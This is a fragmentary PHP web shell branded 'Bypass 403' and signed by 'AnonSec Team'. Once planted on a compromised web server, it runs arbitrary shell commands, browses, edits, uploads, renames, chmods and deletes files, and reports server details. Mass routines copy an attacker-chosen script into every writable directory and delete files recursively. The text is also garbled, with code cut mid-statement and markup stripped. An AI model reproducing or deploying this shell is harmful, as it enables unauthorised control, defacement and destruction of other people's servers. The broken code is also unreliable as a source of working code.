$▛ Bypass 403
"; if(isset($_GET['path'])){ $path = $_GET['path']; }else{ $path = getcwd(); } $path = str_replace('\\','/',$path); $paths = explode('/',$path); foreach($paths as $id=>$pat){ if($pat == '' && $id == 0){ $a = true; echo ' : /'; continue; } if($pat == '') continue; echo ''.$pat.'/'; } echo " [ ".▟($path, p($path))." ]"; echo ""; file_put_contents($▚, $isi_script); $▟ = mass_kabeh($dirc,$namafile,$isi_script); } } } } } } function mass_biasa($dir,$namafile,$isi_script) { if(is_writable($dir)) { $dira = scandir($dir); foreach($dira as $dirb) { $dirc = "$dir/$dirb"; $▚ = $dirc.'/'.$namafile; if($dirb === '.') { file_put_contents($▚, $isi_script); } elseif($dirb === '..') { file_put_contents($▚, $isi_script); } else { if(is_dir($dirc)) { if(is_writable($dirc)) { echo "[success] $dirb/$namafile
"; file_put_contents($▚, $isi_script); } } } } } } if($_POST['start']) { if($_POST['tipe'] == 'massal') { echo "
$▘ "; } } elseif($_GET['id'] == 'info'){ $disfunc = @ini_get("disable_functions"); if (empty($disfunc)) { $disfc = "NONE"; } else { $disfc = "$disfunc"; } if(!function_exists('posix_getegid')) { $user = @get_current_user(); $uid = @getmyuid(); $gid = @getmygid(); $group = "?"; } else { $uid = @posix_getpwuid(posix_geteuid()); $gid = @posix_getgrgid(posix_getegid()); $user = $uid['name']; $uid = $uid['uid']; $group = $gid['name']; $gid = $gid['gid']; } $sm = (@ini_get(strtolower("safe_mode")) == 'on') ? "ON" : "OFF"; echo '
'.$▘.'
"; echo "Software: ".$_SERVER['SERVER_SOFTWARE']."
"; echo "PHP version: ".PHP_VERSION." PHP os: ".PHP_OS."
"; echo "Server Ip: ".gethostbyname($_SERVER['HTTP_HOST'])."
"; echo "Your Ip: ".ip()."
"; echo "User: $user ($uid) | Group: $group ($gid)
"; echo "Safe Mode: $sm
"; echo "Disable Function:
$disfc"; echo '
'.$▘.'
"; echo "Thanks bre dah pake shell nya, jika ada yang error silahkan hubungi email di bawah.
Greetz : { AnonSec Team } - And You
My email: unknownsec1337@gmail.com"; echo '
'; if($cmd == "") { echo "
"; ekseCMD("whoami", $method); echo '
~$ ".$cmd."
"; ekseCMD($cmd, $method); echo "
'.$▘.' '; if(isset($_FILES['file'])){ if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){ echo ' '; }else{ echo ' '; } } } elseif($_GET['id'] == 'delete'){ function hapus_massal($dir,$namafile) { if(is_writable($dir)) { $dira = scandir($dir); foreach($dira as $dirb) { $dirc = "$dir/$dirb"; $▚ = $dirc.'/'.$namafile; if($dirb === '.') { if(file_exists("$dir/$namafile")) { unlink("$dir/$namafile"); } } elseif($dirb === '..') { if(file_exists("".dirname($dir)."/$namafile")) { unlink("".dirname($dir)."/$namafile"); } } else { if(is_dir($dirc)) { if(is_writable($dirc)) { if(file_exists($▚)) { echo "[deleted] $▚
"; unlink($▚); $▟ = hapus_massal($dirc,$namafile); } } } } } } } if($_POST['start']) { echo "
$▘ "; } } } // akhir tools if(isset($_GET['filesrc'])){ echo "
name : ".basename($_GET['filesrc']);"
"; echo '
'; } elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){ echo '
name : '.basename($_POST['path']);'
'; //Chmod if($_POST['opt'] == 'chmod'){ if(isset($_POST['perm'])){ if(chmod($_POST['path'],$_POST['perm'])){ echo ' '; }else{ echo ' '; } } echo ''; } //rename folder elseif($_GET['opt'] == 'btw'){ $cwd = getcwd(); echo ''; } //rename file elseif($_POST['opt'] == 'rename'){ if(isset($_POST['newname'])){ if(rename($_POST['path'],$path.'/'.$_POST['newname'])){ echo ' '; }else{ echo ' '; } $_POST['name'] = $_POST['newname']; } echo ''; } //edit file elseif($_POST['opt'] == 'edit'){ if(isset($_POST['src'])){ $fp = fopen($_POST['path'],'w'); if(fwrite($fp,$_POST['src'])){ echo ' '; }else{ echo ' '; } fclose($fp); } echo '
'; } }else{ //delete dir if(isset($_GET['option']) && $_POST['opt'] == 'delete'){ if($_POST['type'] == 'dir'){ if(rmdir($_POST['path'])){ echo ' '; }else{ echo ' '; } } //delete file elseif($_POST['type'] == 'file'){ if(unlink($_POST['path'])){ echo ' '; }else{ echo ' '; } } } echo ''; $scandir = scandir($path); $pa = getcwd(); echo '
Name | Last edit | Size | Permission | Options |
$dir | $dt | DIR | "; if(is_writable("$path/$dir")) echo ''; elseif(!is_readable("$path/$dir")) echo ''; echo p("$path/$dir"); if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo ''; echo " | |
$file | $ft | $s | "; if(is_writable("$path/$file")) echo ''; elseif(!is_readable("$path/$file")) echo ''; echo p("$path/$file"); if(is_writable("$path/$file") || !is_readable("$path/$file")) echo ''; echo " |